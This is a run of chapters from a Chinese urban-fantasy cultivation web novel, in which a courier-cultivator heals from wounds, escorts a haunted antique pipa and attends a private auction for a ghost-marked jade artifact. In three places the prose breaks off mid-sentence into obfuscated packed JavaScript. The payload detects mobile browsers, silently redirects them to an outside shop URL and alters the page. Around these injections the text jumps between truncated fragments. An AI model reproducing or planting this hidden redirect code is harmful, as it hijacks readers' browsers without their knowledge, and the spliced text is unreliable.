失:重伤,煞气侵体,实力受损。暴露了部分能力(至少让“影流会”知道有他这么一号人)。与“影流会”结下死仇。消耗了所有符箓和无人机。 得:夺回天师法印(虽受损)。实战突破至炼气四层,虽然现在因伤发挥不出全部实力,但境界是实打实的提升。获得了李寰宇方面更明确的认可和潜在支持。确认了“影流会”与“幽冥道”、“黑水城”的关联。得到了那个刻着简易鬼首的金属牌。 他拿出那块金属牌。牌子不大,沉甸甸的,非铁非铜,正面是扭曲的鬼首,背面是几个看不懂的扭曲文字。入手冰凉,残留着极淡的阴煞气。 “仙尊,这牌子?” “似是某种信物或标识,等级很低。”凌虚子道,“鬼首图案与‘鬼首令’同源,但简陋许多。持此物者,在‘幽冥道’外围组织或相关势力中,或许有特定身份。留着,或许日后有用。” 苏明将牌子收起。他又想起了那个面具男提到的“黑水城地宫”。看来,吴清风师门传承的这方法印,牵涉到一个古老的秘密。而“影流会”不择手段想要得到它,所图必然极大。 “等伤好了,得好好问问吴师傅关于黑水城的事。”苏明心想。 接下来的两天,苏明继续静养。他尝试绘制新的“火煞符”,但因为经脉有损 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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带着赤血苓回到出租屋,苏明立刻按方煎药。当那碗赤红如血、热气腾腾、散发着奇异药香和酒味的药汁下肚后,一股炽热却并不暴烈的暖流瞬间从胃部炸开,涌向四肢百骸! “呃!”苏明闷哼一声,只觉得全身经脉,尤其是那几处被血煞气盘踞的地方,如同被投入滚烫的岩浆中灼烧!剧痛!但与血煞气的阴寒刺痛不同,这是一种阳刚的、充满生机的灼痛! 他咬紧牙关,盘膝坐好,引导着这股炽热药力,主动冲向那些阴寒的血煞之气! 冰与火的碰撞在经脉中激烈上演。苏明浑身皮肤泛红,热气蒸腾,汗水刚渗出就被蒸发。他死死守住灵台一点清明,忍受着刮骨疗毒般的痛苦。 一个时辰后,药力渐渐消退。苏明如同从水里捞出来一样,浑身湿透,但眼神却明亮了许多。他感觉到,那几处经脉的滞涩感明显减轻,右臂伤口的阴冷刺痛也弱了大半。虽然离彻底清除还很远,但效果立竿见影! “有效!”苏明精神振奋。只要能治好伤,恢复实力,甚至更进一步,那么油脂厂这场生死搏杀,就值了! 他清理了一下满身汗污,换了干净衣服,感觉前所未有的疲惫,但也前所未有的踏实。 躺在床上,他望着天花板。都市的霓虹灯光透过窗帘缝隙,在天花板上投下变幻的光影。 快递员,修真者,李寰宇的“特殊事务处理员”,“影流会”的敌人,古玩市场神秘暗流的触碰者……他的身份越来越多,卷入的漩涡也越来越深。 但这一次,他不再茫然,也不再仅仅是迫于生计。 他握了握拳,感受着体内缓缓运转的灵力和那炽热药力残留的余温。 路是自己选的,再难,也要走下去。 而且,要走得比所有人都稳,比所有人都远。 手机屏幕亮起,是同城速递APP的订单提示音。一个新的、报酬不错的普通加急件。 苏明笑了笑,伸手拿过手机。 养伤归养伤,饭,还是要吃的。快递,也还是要送的。 只不过,下一次敲门时,门后的世界,或许会更加光怪陆离,也更加凶险莫测。 而他,已准备好去见识,去闯荡。 22. 养伤与新的委托 赤血苓的药效果然强劲。苏明连服了七天,每一天服药后都要经历近两个时辰的、经脉灼烧般的痛苦。但效果也极其明显。七天之后,他体内那几处被血煞气侵蚀的经脉已基本恢复畅通,右臂伤口的阴冷刺痛也彻底消失,只留下一道尚未完全愈合的疤痕。体内灵力运转再无滞涩,反而因为经历了这次“破而后立”,变得更加凝练坚韧。 炼气四层的修为彻底稳固下来,甚至隐隐有向中期迈进的意思。更重要的是,这次生死搏杀和重伤恢复的经历,让他的心境和对灵力的掌控有了长足进步。现在的他,有信心如果再面对“老狗”那样的对手,即便不用计谋硬碰硬,也能不落下风。 这七天里,除了养伤,苏明也在消化此次油脂厂之行的收获。 天师法印被妥善收藏在一个临时买的檀木小盒里,放在聚灵阵边缘,希望能借助阵法的温养之力,慢慢消磨那些“秽血封灵纹”。不过收效甚微,那些暗红纹路依然顽固。 那个从矮壮男人身上搜出的简易鬼首金属牌,苏明研究了半天也没看出更多名堂,只能确定它确实是某种信物,暂时收好。 至于“黑水城”和“幽冥道”的线索,他记在心里,但眼下没有精力去深究。吴清风的告诫和李寰宇的态度都表明,那潭水很深,以他现在的实力贸然涉足,与送死无异。 伤愈后的第一件事,就是联系吴清风。 电话接通,吴清风的声音带着急切的关心:“苏小友!你的伤如何了?法印当真取回了?” “吴师傅,我已无大碍。法印确实取回了,但被做了手脚,暂时无法使用。”苏明将法印被“秽血封灵纹”污染的情况简单说了下。 电话那头沉默了半晌,传来吴清风一声长叹:“果然……他们果然是想毁了这方‘镇钥’!苏小友,此次多亏你了!此印关乎甚大,绝不可落入邪徒之手。你且好生保管,待我寻访几位老友,看看有无化解那封灵纹之法。至于报酬……” “报酬之事不急。”苏明打断,“吴师傅,关于黑水城和这法印,您是否知道更多?那伙人似乎对此极为看重。” 吴清风又沉默片刻,声音压低了:“苏小友,此事……说来话长,牵扯甚广。我师门传承这方‘镇岳印’确实已久,只知是上古一位祖师参与封镇某处大凶之地后所留,是开启某处禁制的‘钥匙’之一。那处凶地,似乎就在西北黑水城附近。但具体详情,早已湮没。我也只当是传说,未想竟真有人为此而来,还用了如此歹毒手段……” 他顿了顿,语气严肃:“苏小友,听老朽一句劝。此事背后,恐有庞大势力觊觎。你既已卷入,务必不可再轻易涉足黑水城之事。那方印,在你手中或许比在我这里更安全。若有人问起,你可推说已毁或不知去向。” “我明白了,多谢吴师傅提醒。”苏明知道吴清风是为他好。 “另外,”吴清风补充道,“你上次提醒我注意的那个矮壮男子,我后来仔细回忆,似乎在数月前的一场地下小型交易会上见过一面,当时他与一个穿黑袍、看不清面目的人低声交谈了几句。那场交易会,有不少来路不明的‘土货’(出土文物)出现。或许,他们的渠道就在那里。” 地下交易会?苏明记下这个信息。这或许是一条追查“影流会”或类似势力外围活动的线索。 结束与吴清风的通话,苏明账户里收到了五万元的转账,是吴清风支付的“酬劳和医药费”。苏明没推辞,他现在确实需要钱。 伤势痊愈,实力恢复,账户里也有了余粮,苏明的生活似乎又回到了正轨。白天继续送快递,晚上在聚灵阵中修炼。但他知道,有些东西已经不一样了。他接触到了一个隐藏在水面下的世界,而那个世界,也开始注意到他。 几天后的一个下午,苏明刚送完一单文件,手机响了。是李寰宇给的那个黑色通讯器。 按下接听,那边传来那个中年男人平静的声音:“苏先生,伤好了?” “好了。多谢关心。” “李先生想见你。今晚八点,老地方,‘听雨茶楼’天字号包厢。” 又要见面了。苏明心中微动,这次会是什么事?结算戈壁任务的后续?还是新的“合作”? “我会准时到。” 晚上八点,苏明再次来到“听雨茶楼”天字号包厢。这次只有李寰宇一人。他依旧穿着中式衫,坐在那里泡茶,气度沉静。 “苏先生,请坐。”李寰宇示意,“尝尝今年的明前龙井。” 苏明坐下,品了一口,茶香清冽。“李董找我,是有什么事?” “两件事。”李寰宇放下茶杯,“第一,戈壁任务的后续。你带回来的青铜小鼎和那块‘鬼首令’残片,对我们很有用。特别是小鼎,确认是‘镇岳’系列的古物,与几处上古遗迹的记载能对应上。这是追加的报酬。” 他推过来一张支票。苏明看了一眼,三十万。 “第二,”李寰宇看着苏明,目光深邃,“经过上次的事情,我想我们之间的合作,可以更进一步。我手头有一些……不太方便由常规渠道处理的事务,需要可靠且有特殊能力的人去办。风险会比普通快递高,但报酬和资源支持也会相应提升。你可以选择接,或者不接。每件事独立评估。” 来了。苏明知道,这才是重头戏。李寰宇这是要把他吸纳进更核心的“业务”里。 “具体是些什么事?”苏明问。 “范围很广。护送一些敏感的、可能涉及‘超自然’因素的物品;去某些特殊地点取回指定的东西;处理一些常规手段难以解决的‘麻烦’;或者,调查一些特定的人和事。”李寰宇缓缓道,“我不会让你去送死。每件事都会有详尽的情报支持和风险评估,你也可以拒绝。但一旦接受,就必须完成,而且绝对保密。” 苏明沉默着。他知道,接下这个橄榄枝,意味着更深地卷入李寰宇的势力网络,接触更多这个世界的暗面,危险系数直线上升。但同样,也意味着能更快获取修行资源、情报,以及……力量。 “报酬和资源,具体怎么算?” “基础报酬视任务难度而定,从十万到百万不等。额外奖励根据完成情况浮动。资源方面,你可以用‘贡献点’兑换我这边提供的物资、情报、技术支持,甚至……某些修炼上的指点。”李寰宇顿了顿,“我知道你在修行。我这边,有几位真正的‘行家’。” 修炼上的指点!苏明心跳快了一拍。凌虚子虽然见识广博,但毕竟是上古修士,对此界现代修行情况了解有限。如果能得到当代修士的指点,无疑能少走很多弯路。 “我需要考虑。”苏明没有立刻答应。 “可以。这个通讯器你留着,有任务我会联系你。考虑好了,或者有需要,也可以通过它联系我。”李寰宇递过来一张新的黑色卡片,材质和之前那张一样,但上面多了一个复杂的、类似徽记的暗纹,“这是我的‘内部权限卡’,凭它可以在我的几个特定场所获得便利,也能调用一些基础情报资源。算是……合作的诚意。” 苏明接过卡片,入手微凉。“谢谢李董。” “合作愉快。”李寰宇举杯。 离开茶楼,苏明走在夜色中,手中握着那张新卡和支票,心潮起伏。 三十万,加上之前的积蓄,他的资产已经颇为可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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需专业艺术品运送人员,经验丰富,细心沉稳。陆老要求全程恒温恒湿运输(车辆已备好,特制货车),时速不得超过40公里,避免颠簸。需两名以上人员押运(可自带一名助手)。运送时间定于明晚十点后(车辆少时)。运费:5000元。务必保证万无一失! 明代孤品琵琶?国宝级?五千运费?还要自带助手? 苏明看着订单,挑了挑眉。这单看起来就是个高价值的文物运输,除了要求严苛,似乎没什么特别。但“特殊订单”的标签,和五千块的运费,又让他觉得没那么简单。 “仙尊,这琵琶……” “凡俗名琴,若历经名家之手,岁月洗礼,或蕴一丝微末灵韵。然终究是凡物。”凌虚子道,“此单看似寻常,但既被平台标注‘特殊’,或有不寻常处。你可接来看看,谨慎行事即可。” 苏明想了想,点击“接单”。五千块不是小数目,而且押运文物听起来比打打杀杀安全多了。助手的问题也好解决,大不了花钱临时雇个靠谱的。 他立刻联系了发布订单的陆老先生那边,确认了明晚的交接细节,并说明自己会带一名专业助手(打算在平台上找个临时搭档)。 安排妥当后,苏明开始准备。他检查了那辆特制货车的状况(恒温恒湿系统运行良好),又复习了一下贵重艺术品运输的注意事项。 然而,就在他以为这只是一次普通的“高级快递”时,深夜,通讯器收到了吴清风发来的一条加密信息: “苏小友,听闻你接了陆家‘秋月鸣蝉’琵琶的运送?此琴……有些古怪传闻,与音律摄魂、古墓遗音有关。运送时,务必留意琴身是否有异响,或周遭有无异常。若觉不对,立即停车,远离琴身。小心。” 苏明看着短信,眉头缓缓皱起。 音律摄魂?古墓遗音? 看来,这单“普通”的文物快递,似乎也不那么普通了。 23. 秋月鸣蝉 明晚十点,城西一处清幽的老宅区。苏明站在一栋白墙黛瓦、透着雅致书卷气的中式庭院门前,身旁站着临时雇来的助手——一个叫大刘的退伍兵,体格健壮,话不多,在平台上接过不少贵重物品押运的单子,口碑不错。 “苏哥,这趟活儿……有点太安静了。”大刘环顾四周,低声说。夜已深,这片老街区寂静无声,只有偶尔的虫鸣。 “国宝级的琵琶,主家谨慎很正常。”苏明说着,按响了门铃。 很快,一个穿着素色旗袍、气质温婉的中年妇人开了门,是陆老先生的儿媳。她仔细核对了苏明和大刘的身份,又检查了他们的订单信息,才将二人引入宅内。 穿过前院,来到正厅。厅内布置古雅,檀香袅袅。一位头发银白、面容清癯的老者坐在太师椅上,正用一块柔软的绒布,极其轻柔地擦拭着放在紫檀木琴案上的一把琵琶。 琵琶造型秀美,琴身木色沉郁,在灯光下泛着温润的光泽。琴颈细长,琴头雕刻着精致的流云纹。最引人注目的是琴身背面,似乎用螺钿、玉石等材料镶嵌出了一幅“秋月梧桐鸣蝉”的图画,工艺精湛绝伦,虽历经数百年,依旧栩栩如生。这便是“秋月鸣蝉”。 “陆老,我们是迅风快递,负责‘秋月鸣蝉’的押运。”苏明上前,恭敬道。 陆老先生停下动作,抬眼看了看苏明和大刘,目光在苏明脸上停留片刻,似乎微微点了点头,但没说什么。他将手中的绒布放下,小心地将琵琶放入一个早就准备好的、内部布满柔软防震材料和温湿度感应器的特制琴箱中,扣好锁扣,又贴上特制的封签。 “这琵琶,是我陆家祖上一位明代乐师所制,传世数百年,音色清越绝伦,更难得的是琴身保存完好,未曾有大的修复。”陆老的声音有些沙哑,带着岁月沉淀的厚重,“此次借与‘听松阁’的顾先生做学术研究和短暂展览,实是不得已。万望二位,务必小心。途中,切不可打开琴箱,更不可让琴身受潮、受热、或剧烈震动。” “您放心,陆老。我们使用专业的恒温恒湿运输车,会以不超过四十公里的时速平稳行驶,直达‘听松阁’。”苏明保证道。 陆老点点头,从怀中取出一枚小巧的、像是黄铜打造的钥匙,递给苏明:“这是琴箱外锁的备用钥匙,只有两把,我这里一把,顾先生那里一把。琴箱内层还有一道密码锁,密码只有我和顾先生知道。除非万不得已,不要动这把钥匙。到了‘听松阁’,交给顾先生即可。” 苏明郑重接过钥匙,入手微沉,冰凉。 “记住,”陆老最后又叮嘱了一句,眼神异常认真,“琴是有灵性的。‘秋月鸣蝉’……尤其特别。路上,如果听到什么不寻常的声音,或者感觉……有什么不对劲,立刻停车,不要靠近琴箱,马上联系我或者顾先生。” 不寻常的声音?苏明想起吴清风的警告,心中一凛,面上不动声色:“明白了,陆老。” 他和苏明小心地抬起沉重的琴箱,放入早就等候在门外的特制货车的货厢内。货厢内部做了专业改装,有独立的温湿度和震动监测系统,还有固定琴箱的专用卡槽。将琴箱固定好后,苏明检查了一遍所有参数,确认无误,才关上货厢门。 苏明坐进副驾驶,大刘开车。货厢内有独立的监控画面连接到驾驶室的一个小屏幕上,可以实时观察琴箱状态。 车子缓缓驶离老宅区,朝着位于城西另一端的“听松阁”驶去。夜晚车流稀少,大刘将车速稳稳控制在四十公里以下,尽量选择平坦的道路。 车厢里很安静,只有车辆行驶的低沉声音和仪器运转的轻微嗡鸣。苏明靠在椅背上,闭目养神,但心神却保持着警惕。他将一丝微弱的灵力扩散在车厢内,感知着周围的气息变化。同时,也在心中与凌虚子交流。 “仙尊,能感觉到那琵琶有什么特别吗?” “琴箱隔绝甚好,本座只能隐约感到一丝极淡的、属于上等古木和灵性物件的温润气息,并无阴邪煞气。”凌虚子道,“然,凡物经数百年人气、乐声浸润,生出些许微末灵韵,或对特定频率能量有所反应,亦属正常。那陆老与吴清风皆提及‘异响’、‘不对劲’,恐非空穴来风。谨慎些便是。” 苏明点点头。他看了一眼监控屏幕,琴箱静静地躺在卡槽里,各项指标正常。 车子平稳地行驶了大约二十分钟,驶入一段相对偏僻的沿河公路。这里路灯稀疏,光线昏暗,河边茂密的树木在夜风中摇曳,投下幢幢黑影。 就在车子即将驶过一个弯道时,苏明忽然感到车厢内的灵气产生了一丝极其细微的、几乎难以察觉的波动。这波动并非来自外界,而是似乎从货厢方向传来,带着一种奇特的、如同水滴落入深潭般的“涟漪”感。 几乎同时,他耳边似乎隐约捕捉到了一缕极其飘渺、若有若无的……弦音?像是有人用指尖,在极远的地方,轻轻拨动了一下琴弦。 “大刘,停车!”苏明立刻低喝道。 大刘虽然不明所以,但基于职业素养,还是立刻平稳减速,将车靠边停下,打开了双闪。 “怎么了苏哥?”大刘疑惑地问,他也听到了苏明刚才的喝止。 “你……刚才有没有听到什么声音?”苏明侧耳倾听,车厢内一片寂静,只有仪器运转声和窗外隐约的风声。那缕弦音仿佛从未出现过。 “声音?没有啊。”大刘摇头,但脸色也凝重起来,“是不是仪器报警?” 苏明看向监控屏幕和各项仪表,一切正常。温湿度稳定,无震动报警。 难道是自己太紧张,幻听了? “可能是错觉。走吧,继续开,开慢点。”苏明说道,但心中的警惕已提到最高。他将更多的灵力灌注双耳,提升听力。 车子重新启动,缓缓前行。苏明全神贯注地感知着。 又过了几分钟,当车子驶入一段更暗、两旁树木更茂密的路段时,那奇异的灵气涟漪感再次出现!这一次更加清晰!而紧随其后,一缕更加清晰的、带着淡淡忧伤和空旷感的琵琶轮指声,仿佛穿透了琴箱和货厢的层层阻隔,直接在他的识海中响起! 不,不只是他!连正在开车的大刘也猛地打了个激灵,下意识地踩了脚刹车,车子顿了顿。 “苏哥!你……你有没有听到……”大刘的声音带着一丝惊疑不定,“好像……有琵琶声?” 不是幻听!苏明眼神一凝。这琵琶声并非通过空气传播,而更像是直接作用于精神层面!难怪监控和仪器没有反应! “听到了。继续开,别停,稳住车速。”苏明沉声道,同时立刻拿起手机,准备拨打陆老留下的紧急联系电话。 然而,就在他刚要拨号时,异变陡生! 那飘渺的琵琶声忽然一转,从淡淡的忧伤变得急促、尖锐,如同金戈铁马,杀伐之音骤起!与此同时,苏明感觉到货厢方向传来一阵明显的灵力紊乱,那特制琴箱似乎无法完全隔绝某种能量的外泄! “不对!”苏明猛地看向监控屏幕。屏幕中,固定好的琴箱依然纹丝不动,但琴箱表面那些监测仪器的指示灯,却开始不正常地闪烁起来!温湿度读数出现了微小但快速的波动! 更让他心头一跳的是,在他“灵目术”的视野中,丝丝缕缕淡得几乎看不见的、青灰色的气息,正从琴箱的缝隙中缓缓溢出,在货厢内缭绕!这些气息并无阴邪之感,反而透着一种苍凉、古老的意念,但此刻却显得躁动不安! “仙尊!”苏明在心中急呼。 “琴中灵韵被引动!有东西在附近,与这古琴的‘弦音’产生了共鸣!”凌虚子声音带着惊讶,“停车!远离琴箱!” 就在苏明准备再次让大刘停车时,车子前方不远处的路边阴影里,突然毫无征兆地窜出一个人影,直挺挺地站在了路中央! 大刘吓得魂飞魄散,猛打方向盘,同时一脚将刹车踩到底! 刺耳的刹车声划破夜空!货车在巨大的惯性下向一侧甩去!苏明虽然系着安全带,仍被狠狠甩在车门上,右臂伤口处传来一阵撕裂般的疼痛。 货车堪堪在那人影前不到一米处停下,车头甚至微微擦到了那人的衣角。 “吱嘎——” 车厢内,因为急刹和转向,固定琴箱的卡槽发出了不堪重负的呻吟,琴箱重重地撞在了货厢内壁上!监控屏幕剧烈晃动,温湿度报警器发出了尖锐的鸣叫! “怎么回事?!撞到人了?!”大刘脸色惨白,惊魂未定。 苏明顾不上回答,他死死盯着车前。那个人影在车灯的照射下,清晰可见。 那是个穿着老旧灰色布衣、头发花白杂乱、面容呆滞的老妇人。她就那么直挺挺地站在路中央,对刚才险些被撞的险情毫无反应,一双空洞无神的眼睛,直勾勾地“望”着货车的方向,嘴唇微微蠕动着,仿佛在念叨什么。 但苏明看的不是她的人,而是她身上萦绕的、浓郁得几乎要凝成实质的青灰色气息!那气息的质地,与此刻货厢内溢出的古琴气息,几乎一模一样!而且,两者之间仿佛有无形的丝线连接,正在互相吸引、共鸣! 是这老妇人引动了“秋月鸣蝉”? 就在这时,那老妇人忽然动了。她不是走向驾驶室,而是一步一步,僵硬地,朝着货车的货厢后门走来!她的目光,死死盯着货厢,喉咙里发出“嗬嗬”的低哑声响。 “她……她想干什么?!”大刘声音发颤,手已经摸向了车门边的防身甩棍。 苏明解开安全带,推开车门跳了下去,同时低喝:“大刘,锁好车门,报警!别出来!” 他几步绕到车后,挡在了货厢后门和老妇人之间。 “站住!”苏明沉声喝道,同时悄然运转灵力,一丝威压散发出去。 那老妇人脚步一顿,空洞的目光似乎聚焦到了苏明身上。但仅仅一瞬,她的目光又越过苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356231|199679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明,死死锁定了货厢,喉咙里的“嗬嗬”声更响了,再次迈步向前,仿佛苏明不存在一般。 而且,随着她的靠近,苏明感觉到货厢内古琴的躁动更加明显,那青灰色的气息几乎要透过厢壁涌出来!老妇人身上的气息也与之呼应,剧烈翻腾! 这老妇人绝不是普通人!甚至,可能不是活人!苏明在她身上感觉不到强烈的生机,只有一股极其执拗、不甘的残念,与那古琴的灵韵同源! 眼看老妇人就要撞上自己,苏明眼神一冷,不能再犹豫了。他左手并指如剑,指尖凝聚一丝“涤尘术”的清净灵力,就要点向老妇人眉心,先阻断她与古琴的共鸣。 然而,就在他指尖即将触及老妇人额头时,老妇人那呆滞的脸上,骤然浮现出极其痛苦、哀伤的神情,两行浑浊的泪水毫无征兆地滑落。她张了张嘴,用嘶哑、破碎、仿佛来自幽冥的声音,断断续续地吐出几个字: “月……月儿……我的月儿……娘……娘错了……把琴……还你……还你……” 话音未落,她身上的青灰色气息猛地一盛,随即如同潮水般退去,连同她眼中的神采一起迅速消散。老妇人身体一软,直挺挺地向后倒去,“噗通”一声摔在地上,再无动静。 与此同时,货厢内那躁动的古琴气息也瞬间平息,温湿度报警器的鸣叫停了下来,一切恢复了正常。只有那缕若有若无的琵琶悲音,仿佛在夜风中残留了最后一缕叹息,悄然散去。 苏明愣在原地,指尖的灵力缓缓散去。他看着地上昏迷不醒、气息微弱但似乎恢复了正常生机的老妇人,又看了看恢复平静的货厢,心中充满了惊疑。 月儿?还琴?这老妇人……难道和这把“秋月鸣蝉”琵琶,有什么极深的渊源?她口中的“月儿”是谁?是这把琴曾经的主人?还是制琴的乐师? “苏哥!怎么样了?我报警了,警察和救护车马上到!”大刘在车里喊道,声音依然紧张。 苏明深吸一口气,压下心中的波澜。他蹲下身,检查了一下老妇人的情况,只是昏厥,暂时没有生命危险。 “我没事。你在这里等着警察和救护车,把事情经过照实说,但别提琵琶的异响和这老妇人的异常,就说她突然冲出来,你急刹车避让,她可能是受惊或者突发疾病晕倒了。”苏明快速交代,“我先把货送到‘听松阁’,不能耽搁。这边处理完,你再过去跟我会合。” “啊?苏哥,这……”大刘有些犹豫。 “听我的,按我说的做。车费和报酬加倍。”苏明语气不容置疑。他必须尽快把琵琶送到目的地,离开这个是非之地,也避免警察盘问时牵扯出更多麻烦。 大刘看了看昏迷的老妇人,又看了看苏明,点了点头:“行,苏哥,你小心点。” 苏明迅速回到驾驶室,将车子开出一段距离,停在一个相对僻静但不碍事的地方。他下车,重新检查了一遍货厢和琴箱。琴箱因为刚才的撞击,外壳有一处不明显的凹痕,但整体结构完好,封签和锁具无恙。各项监测数据也恢复了正常。 他不再耽搁,重新设定好导航,发动车子,继续朝着“听松阁”驶去。这一次,一路无话,再无异常。 凌晨十二点半,车子安全抵达“听松阁”——一处位于城西半山腰、环境清幽的私人院落。一个穿着中式长衫、气质儒雅的中年男人(顾先生)早已在门口等候,脸上带着焦急。 交接很顺利。顾先生仔细检查了琴箱的封签和外观,看到那处凹痕时皱了皱眉,但没多说什么。输入密码,打开琴箱内锁,看到琵琶完好无损后,他才松了口气,在收货单上签了字。 “路上……还顺利吗?”顾先生看似随意地问了一句,目光却紧盯着苏明。 “遇到了点小意外,有个人突然冲出来,紧急避让了一下,琴箱有点磕碰,但检查过了,琵琶没事。”苏明避重就轻。 顾先生点点头,没再追问,支付了运费。苏明将陆老给的备用钥匙交还,便告辞离开。 走出“听松阁”,山风清凉。苏明回望了一眼那座在夜色中静谧的院落,又想起了路上那个诡异的老妇人,和那直接响在识海中的悲戚琴音。 “秋月鸣蝉”……这把琵琶,恐怕不只是“国宝级文物”那么简单。它承载的故事,或许比它本身的工艺和历史价值,更加沉重和离奇。 而自己,又一次在送快递的路上,撞见了这个世界不为人知的一面。 手机震动,是大刘发来的信息:“苏哥,警察和救护车都来了,老妇人送医院了,说是突发性昏厥,原因不明。警察简单问了情况,没为难我。我现在过来找你?” 苏明回复:“不用了,你先回去休息。报酬我稍后转给你,加倍。今天的事,对谁都不要提,包括平台。” 放下手机,苏明发动车子,驶入茫茫夜色。 这一单,结束了。但留下的疑问,却盘旋在心头,久久不散。 24. 私人拍卖会 凌晨一点,苏明拖着疲惫的身体回到出租屋。右臂伤口在刚才的紧急避让中似乎又有些撕裂,隐隐作痛。他脱下外套,检查了一下纱布,还好没有渗血。但比起□□的伤痛,今晚经历的诡异之事更让他心神不宁。 那个突然出现在路中央的老妇人,与“秋月鸣蝉”共鸣的残念,那直接响在识海中的琵琶悲音……这一切都指向这把古琵琶背后隐藏着不寻常的故事。顾先生最后的那个问题,显然也知道些什么。 他将沾了灰尘和冷汗的外套扔进洗衣机,自己坐进聚灵阵中,缓缓运转功法,平复心绪,滋养消耗的精神。 “仙尊,那老妇人是怎么回事?”苏明在心中问道。 “其人身有残魂执念,与那古琴中的灵韵同源,应是琴主或与琴主有极深渊源之人的直系血脉,且刚刚离世不久。”凌虚子缓缓道,“执念未散,感应到同源古琴,故而显化。其言‘还琴’,‘娘错了’,恐是当年有夺琴、毁诺之恨。此等涉及血脉与信物的执念纠缠,最是难解。你能及时打断共鸣,已属万幸,否则执念彻底激发琴中灵韵,恐有变故。” 血脉执念,夺琴之恨。苏明叹了口气。看来这“秋月鸣蝉”不只是一件乐器,更是一段被时光掩埋的恩怨见证。不过,这终究是陆家和琴的因果,他只是一个送货的,将东西安全送到,便已完成了职责。 第二天上午,大刘的报酬和医药费(额外补偿)转了过去。对方回了句“苏哥仗义,以后有活儿还叫我”,便没再多说。苏明也暂时将这件事抛在脑后。 他现在更关心的是自己的修为和伤势。炼气四层稳固了,但经脉中残留的血煞隐患还未彻底清除,右臂的伤口也愈合缓慢。赤血苓效果好,但只有一份。他想看看李寰宇那边的资源清单里有没有更合适的丹药。 然而,还没等他联系李寰宇,通讯器在下午主动响了。 是那个中年男人的声音:“苏先生,今晚八点,东湖山庄,七号别墅,有一场小型私人拍卖会。李先生希望你能参加,目标是其中一件编号为‘L-17’的玉琮。资料已发到你加密邮箱。身份和请柬已备好,在门卫处报‘苏墨’的名字即可。你的任务是观察、竞拍,以及……留意所有对这件玉琮感兴趣的人。有二十万活动经费,不够可申请。超出部分,需合理理由。任务酬劳:十万。” 私人拍卖会?玉琮?观察竞拍者? 苏明立刻打开邮箱,下载了加密文件。里面是今晚拍卖会的部分拍品图录,其中一页高亮显示着一件玉琮。 那是一截高约十五厘米、直径约八厘米的筒形玉器,外方内圆,通体呈暗青色,表面覆盖着厚厚的、不自然的暗红色“血沁”,几乎将玉质本身完全掩盖。玉琮表面刻有极其细密、但大多被“血沁”糊住的云雷纹。图片备注:战国玉琮(传),出土不详,红斑沁色。 文件里关于这件玉琮的资料极少,只有寥寥几句描述,来源模糊。但苏明注意到,在玉琮底部一个不起眼的位置,似乎有一个被刻意磨损、但仍能看出大致轮廓的印记——那是一个狰狞的鬼首图案! 又是鬼首图案!和之前“鬼首令”、矮壮男人身上的金属牌同源!这件玉琮,恐怕也和“幽冥道”或“影流会”有关! 李寰宇让他拍这件东西,是想入手研究,还是想阻止它落入他人之手?又或者,是想通过这件东西,钓出某些人? 苏明仔细阅读了其他注意事项。拍卖会规模不大,参与者非富即贵,或是有特殊渠道的收藏家。现场有安保,禁止拍照录音。竞拍匿名,但需验资。身份是“苏墨”,一个刚回国的年轻华裔收藏爱好者,背景干净。 任务清晰,报酬合理,而且能接触到可能涉及修行界秘密的物品。苏明决定接下。 他回复通讯器:“任务接受。经费二十万。身份‘苏墨’。目标‘L-17’。观察竞拍者。明白。” 放下通讯器,苏明开始准备。他先在网上快速了解了一下战国玉琮的基本知识和拍卖会礼仪。然后检查了一下自己的仪表,找了身看起来低调但不失体面的深色休闲装。最后,他将身上仅剩的几张火煞符和星髓贴身收好,以防万一。 晚上七点半,苏明打车来到东湖山庄。这里是城市近郊的高档别墅区,依山傍水,环境极佳,安保严密。在门卫处报上“苏墨”的名字,核验身份证(李寰宇早已准备好)后,一名穿着制服的侍者开着一辆小型电瓶车,将他送到了七号别墅。 别墅外观现代简约,内部却装修得古色古香,颇有格调。大厅被临时布置成拍卖会场,大约只有三十多个座位,此刻已坐了七八成人,多是些中年或老年男女,衣着考究,低声交谈,气氛矜持而隐秘。 苏明在侍者引导下,在一个靠后、不太起眼的位置坐下。很快有侍者送来香槟和今晚的拍品图录精装本。他翻开图录,找到了“L-17”玉琮的那一页,仔细观察。图片比电子版清晰一些,但那些暗红色的“血沁”依旧刺眼,鬼首印记也更加模糊。 他悄悄运转一丝灵力至双眼,开启“灵目术”,隔着图录仔细观察那图片。在他的感知中,图片上的玉琮似乎散发着一股极其隐晦、混浊的阴寒气息,与“血沁”的颜色交织在一起,给人一种很不舒服的感觉。这“血沁”恐怕不是天然形成,更像是……浸染了某种不祥之物。 “此玉琮,确为古物,但其上‘血沁’乃后天人为,且混杂了阴煞怨力。”凌虚子的声音在脑海响起,“其底部的印记,与‘鬼首令’同源,但更加古老、完整。此物,恐是‘幽冥道’某种祭祀或传承的器物,流落凡俗,被做旧伪装。” 果然有古怪。苏明心中了然。这件玉琮,恐怕是件“邪器”。 八点整,拍卖会准时开始。拍卖师是个戴金丝眼镜、声音温和但富有穿透力的中年男人。前面几件拍品都是些字画、瓷器、古籍,竞价不温不火,很快成交。 